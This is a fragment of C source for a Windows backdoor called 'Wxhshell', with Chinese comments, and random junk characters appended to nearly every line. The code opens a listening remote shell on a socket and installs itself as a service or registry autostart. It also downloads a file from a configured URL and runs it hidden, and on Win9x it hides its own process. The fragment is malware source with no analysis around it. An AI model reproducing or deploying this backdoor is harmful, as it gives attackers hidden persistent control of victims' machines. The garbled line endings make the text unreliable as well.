} PROCESS_BASIC_INFORMATION; /> Nt[o[r
uMv1O{
PROCNTQSIP NtQueryInformationProcess; *kVV+H<X|b
b\ PgVBf9
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @KA4N`
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V:27)]q
dd["dBIZ '
HANDLE hProcess; 2Hdu:"j
PROCESS_BASIC_INFORMATION pbi; !+ njS
OH"XrCX7n
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uocGbi:V';
if(NULL == hInst ) return 0; kl,3IKHa
s7EinI{^
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L(o15
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e*!kZAf
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V,9cl,z+
!wp3!bLp
if (!NtQueryInformationProcess) return 0; <1pEwI~
+)?J#g
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B;WCTMy}
if(!hProcess) return 0; q9NoI(]e
_FEFx
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Nluoqoac
T)CP2U
CloseHandle(hProcess); +*^H#|!
}-fl$j?9E
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 80;(Gt@<"
if(hProcess==NULL) return 0; ^t"'rD-I
FN;^"H
HMODULE hMod; {e5= &A
char procName[255]; ??T#QQ
unsigned long cbNeeded; ETLD$=iS
oRzi>rr
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c|1&lYal;
|)81Lz
CloseHandle(hProcess); {iLT/i%
s{" 2L{,$
if(strstr(procName,"services")) return 1; // 以服务启动 VD :/PL
qCO/?kW
return 0; // 注册表启动 0;ji65
} C-[1iW'
tl].r|yl
// 主模块 ;>YzEo
int StartWxhshell(LPSTR lpCmdLine)
BB'OCN
{ frQ{iUx
SOCKET wsl; H.2QKws^F
BOOL val=TRUE; J$!iq|
int port=0; '{`$#@a.
struct sockaddr_in door; $kKjgQS(
eY\yE"3
if(wscfg.ws_autoins) Install(); f9;(C4+
xvy.=(
port=atoi(lpCmdLine); }{"fJ3] c^
4e1Y/
Xq`
if(port<=0) port=wscfg.ws_port; ]fD}
^s3G
8*fv'
WSADATA data; HKr
Mim-
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :c[L3rJl
%[yJ4WL
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 9S -9.mvop
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q^(b)>?r;
door.sin_family = AF_INET; Yrn)VV[)h
door.sin_addr.s_addr = inet_addr("127.0.0.1"); \15nSB
door.sin_port = htons(port); {V-v-f
)/EO&F
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )0R'(#
closesocket(wsl); )Beiu*
return 1; F/A|(AH'
} Ow077v?
ukY"+&
if(listen(wsl,2) == INVALID_SOCKET) { S+2(f> Z
closesocket(wsl); h*Pc=/p
return 1; &f;K}WO
} ,iq4Iw
Wxhshell(wsl); #V}IvQl|
WSACleanup(); h=%_Ao<x
VQ{fne<
return 0; +'@Dz9:>
^BL"wk
} 2>H24F
FEVlZ<PW3I
// 以NT服务方式启动 Wr5V`sM
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {>%&(
{ z"4~P3>{g
DWORD status = 0; BX^tR1
DWORD specificError = 0xfffffff; sse.*75U
s!e3|pGS
serviceStatus.dwServiceType = SERVICE_WIN32; M:6"H%h,W
serviceStatus.dwCurrentState = SERVICE_START_PENDING; I0RvnMw
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KK%M~Y+tU'
serviceStatus.dwWin32ExitCode = 0; +t:0SRSt
serviceStatus.dwServiceSpecificExitCode = 0; (@}!0[[^
serviceStatus.dwCheckPoint = 0; V#}kwON
serviceStatus.dwWaitHint = 0; kE(mVyLQ
0<B$#8
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tdaL/rRe
if (hServiceStatusHandle==0) return; y#$CMf
-q^
e NafpK
status = GetLastError(); $DUZ!zaH!
if (status!=NO_ERROR) s|B3~Q]
{ &l[$*<P5V
serviceStatus.dwCurrentState = SERVICE_STOPPED; &(mR>
mT
serviceStatus.dwCheckPoint = 0; -FCe:iY! A
serviceStatus.dwWaitHint = 0; \_6/vZ%-B
serviceStatus.dwWin32ExitCode = status; D#/Bx[
serviceStatus.dwServiceSpecificExitCode = specificError; [ps*uva
SetServiceStatus(hServiceStatusHandle, &serviceStatus); jMDY(mwt
return; BI}Cg{^km
} 3 SGDy]
HOh!Xcu
serviceStatus.dwCurrentState = SERVICE_RUNNING; CWP2{
serviceStatus.dwCheckPoint = 0; .k
\@zQ|Ta
serviceStatus.dwWaitHint = 0; u=_mvN
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t@Nyr&|D
} ]}(H0?OQR
P}G+4Sk
// 处理NT服务事件,比如:启动、停止 .q 3/_*
VOID WINAPI NTServiceHandler(DWORD fdwControl) wuJ4kW$
{ ;{o|9x|
switch(fdwControl) q8Z<{#oXu
{ FtC^5{V+V
case SERVICE_CONTROL_STOP: r{%qf;
serviceStatus.dwWin32ExitCode = 0; >u8gD6X
serviceStatus.dwCurrentState = SERVICE_STOPPED; *C=>X193U
serviceStatus.dwCheckPoint = 0; t3Y:}%M
serviceStatus.dwWaitHint = 0; }I6vqG
{ R n*L
SetServiceStatus(hServiceStatusHandle, &serviceStatus); f:.I0 ST
} X/M4!L}\
return; _OC<[A
case SERVICE_CONTROL_PAUSE: *GN#
r11d
serviceStatus.dwCurrentState = SERVICE_PAUSED; @[i4^
break; om-omo&,X=
case SERVICE_CONTROL_CONTINUE: H&}pkrH~
serviceStatus.dwCurrentState = SERVICE_RUNNING; m<qJcZk
break; =k:,qft2
case SERVICE_CONTROL_INTERROGATE: ,$+V
break; yN
s,Ll~
}; Vr1<^Ib
SetServiceStatus(hServiceStatusHandle, &serviceStatus); e2W".+B1
} r!a3\ep
H_<C!OgR
// 标准应用程序主函数 f &wb
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "{Eta
{ y[_Q-
_8)*]-
// 获取操作系统版本 ,tJ"
5O3-
OsIsNt=GetOsVer();
{ Z5nGG
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'W,jMju
1&(V
// 从命令行安装 ,V:SN~P66+
if(strpbrk(lpCmdLine,"iI")) Install(); f_Av3
1"M]3Kl
// 下载执行文件 :e%Pvk
if(wscfg.ws_downexe) { 1!T1Y,w
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =-lb)Z"d
WinExec(wscfg.ws_filenam,SW_HIDE); u21EP[[,
} P0PWJ^+,+
f/Bp.YwL
if(!OsIsNt) { t=O8f5Pf{
// 如果时win9x,隐藏进程并且设置为注册表启动 KC#q@InK
HideProc(); :s6o"VkW
StartWxhshell(lpCmdLine); r[Hc>wBv
} t; {F%9j{
else Q=20IQp
if(StartFromService()) @qlK6tE`
// 以服务方式启动 \3aoM{ztD
StartServiceCtrlDispatcher(DispatchTable); T+K):ug
else P{+T<bk|
// 普通方式启动 8j\cL'
StartWxhshell(lpCmdLine); \:ak ''
|(LZ9I
return 0; dg"3rs /?A
}